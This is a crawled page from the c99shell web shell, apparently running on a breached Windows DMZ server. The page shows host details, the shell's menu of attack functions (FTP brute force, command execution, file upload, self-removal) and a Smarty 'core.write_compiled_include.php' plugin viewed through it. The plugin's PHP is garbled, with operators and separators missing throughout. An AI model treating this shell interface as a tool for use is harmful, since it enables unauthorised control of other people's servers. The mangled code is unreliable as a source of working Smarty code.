!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\dmz\php\pear\PhpDocumentor\phpDocumentor\Smarty-2.6.0\libs\core\   drwxrwxrwx
Free 3.26 GB of 39.52 GB (8.25%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     core.write_compiled_include.php (1.71 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Smarty plugin
 * @package Smarty
 * @subpackage plugins
 */

/**
 * Extract non-cacheable parts out of compiled template and write it
 *
 * @param string $compile_path
 * @param string $template_compiled
 * @param integer $template_timestamp
 * @return boolean
 */

function smarty_core_write_compiled_include($params, &$smarty)
{
    
$_tag_start 'if \(\$this->caching\) \{ echo \'\{nocache\:('.$params['cache_serial'].')#(\d+)\}\';\}';
    
$_tag_end   'if \(\$this->caching\) \{ echo \'\{/nocache\:(\\2)#(\\3)\}\';\}';

    
preg_match_all('!('.$_tag_start.'(.*)'.$_tag_end.')!Us',
                   
$params['compiled_content'], $_match_sourcePREG_SET_ORDER);

    
// no nocache-parts found: done
    
if (count($_match_source)==0) return;

    
// convert the matched php-code to functions
    
$_include_compiled "<?php /* funky header here */\n\n";

    
$_compile_path $params['include_file_path'];

    
$smarty->_cache_serials[$_compile_path] = $params['cache_serial'];
    
$_include_compiled .= "\$this->_cache_serials['".$_compile_path."'] = '".$params['cache_serial']."';\n\n?>";

    
$_include_compiled .= $params['plugins_code'];
    
$_include_compiled .= "<?php";
    for (
$_i 0$_for_max count($_match_source); $_i $_for_max$_i++) {
        
$_match =& $_match_source[$_i];
        
$_include_compiled .= "
function _smarty_tplfunc_
$_match[2]_$_match[3](&\$this)
{
$_match[4]
}

"
;
    }
    
$_include_compiled .= "\n\n?>\n";

    
$_params = array('filename' => $_compile_path,
                     
'contents' => $_include_compiled'create_dirs' => true);

    require_once(
SMARTY_DIR 'core' DIRECTORY_SEPARATOR 'core.write_file.php');
    
smarty_core_write_file($_params$smarty);
    return 
true;
}


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--